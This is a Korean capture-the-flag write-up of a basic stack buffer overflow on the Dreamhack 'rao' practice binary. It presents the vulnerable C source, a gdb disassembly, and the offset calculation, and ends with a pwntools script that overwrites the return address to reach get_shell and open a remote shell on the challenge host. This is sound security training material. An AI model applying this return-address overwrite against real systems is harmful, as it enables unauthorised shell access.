
주어진 코드)
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf 함수로 입력 길이를 제한하지 않고 입력을 받고 있다. 따라서 buf 변수의 크기인 0x28(40) 이상의 값을 입력하게 되면 bof가 발생되어 공격을 시도할 수 있다는 사실을 파악할 수 있다.

권한을 부여하고 과도하게 값을 입력하면, segmentation fault가 발생하는 것을 확인할 수 있다.
gdb를 통해 파악해보자면, (gdb 실행파일)
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt>
0x000000000040070b <+35>: lea rax,[rbp-0x30]
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt>
0x0000000000400723 <+59>: mov eax,0x0
0x0000000000400728 <+64>: leave
0x0000000000400729 <+65>: ret
64비트 아키텍쳐라는 것을 파악할 수 있고, 때문에 크기는 8바이트 단위로 이뤄져 있다는 것을 알 수 있다.
따라서 스택의 기본 구조를 떠올려 보며 구조를 파악해보면,

이러한 구조로 이루어져 있다는 것을 알 수 있다.
때문에 크기 단위가 8만큼이기 때문에 buf와 ret함수 사이에 0x38만큼 벌어져있다는 것을 알 수 있다. 따라서 0x38만큼 임의의 값으로 값을 채우고 실행하고자 하는 코드의 주소를 입력하면 bof 공격을 시도할 수 있다.
코드에서 get_shell()이라는 함수를 통해 cmd가 실행될 수 있는 부분을 발견할 수 있어서 get_shell()함수 주소를 찾아보는 것이 먼저일 것 같다.
get_shell()함수의 주소 : 0x4006aa

이를 바탕으로 exploit코드를 만들어보자.
exploit code)
from pwn import *
p = remote('host3.dreamhack.games', 13372)
context.arch="amd64"
payload = b"A"*0x38
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00" #리틀 엔디언 방식으로 입력
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
